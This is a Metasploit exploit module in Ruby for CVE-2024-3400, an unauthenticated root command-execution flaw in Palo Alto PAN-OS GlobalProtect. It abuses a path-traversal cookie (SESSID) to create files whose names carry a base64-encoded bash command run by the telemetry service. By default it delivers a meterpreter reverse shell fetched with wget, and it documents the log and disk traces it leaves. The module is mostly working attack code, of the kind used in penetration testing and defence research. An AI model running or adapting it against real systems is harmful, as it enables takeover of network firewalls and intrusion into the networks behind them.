## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that allow an unauthenticated attacker to create arbitrarily named files and execute shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or GlobalProtect Portal enabled and telemetry collection on (default). Affected versions include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to one hour to execute, depending on how often the telemetry service is set to run. }, 'License' => MSF_LICENSE, 'Author' => [ 'remmons-r7', # Metasploit module 'sfewer-r7' # Metasploit module ], 'References' => [ ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis ], 'DisclosureDate' => '2024-04-12', 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Executes as root on Linux 'Targets' => [ [ 'Default', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/var/tmp', 'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected ARTIFACTS_ON_DISK # Several 0 length files are created in the following directories during checks and exploitation: # - /opt/panlogs/tmp/device_telemetry/hour/ # - /opt/panlogs/tmp/device_telemetry/minute/ # - /var/appweb/sslvpndocs/global-protect/portal/fonts/ ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']), ] ) end def check # Try to create a new empty file in an accessible directory with the exploit primitive # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2" touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}") # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively res_check_created = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name) ) return CheckCode::Unknown('Connection failed') unless res_check_created res_check_not_created = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}") ) return CheckCode::Unknown('Connection failed') unless res_check_not_created if (res_check_created.code != 403) || (res_check_not_created.code != 404) return CheckCode::Safe('Arbitrary file write did not succeed') end CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted") end def touch_file(file) # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';' send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Cookie' => "SESSID=./../../../..#{file}" } ) end def exploit # Encode the shell command payload as base64, then embed it in the appropriate exploitation context # Since payloads cannot contain spaces, ${IFS} is used as a separator cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-" # Create maliciously named files in both telemetry directories that might be used by affected versions # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'. # It's possible that the payload will execute twice, but we've only observed one location working during testing files = [ "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`", "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`" ] files.each do |file_path| vprint_status("Creating file at #{file_path}") touch_file(file_path) # Must register for clean up here instead of within touch_file, since touch_file is used in the check register_file_for_cleanup(file_path) end print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload') print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled') end end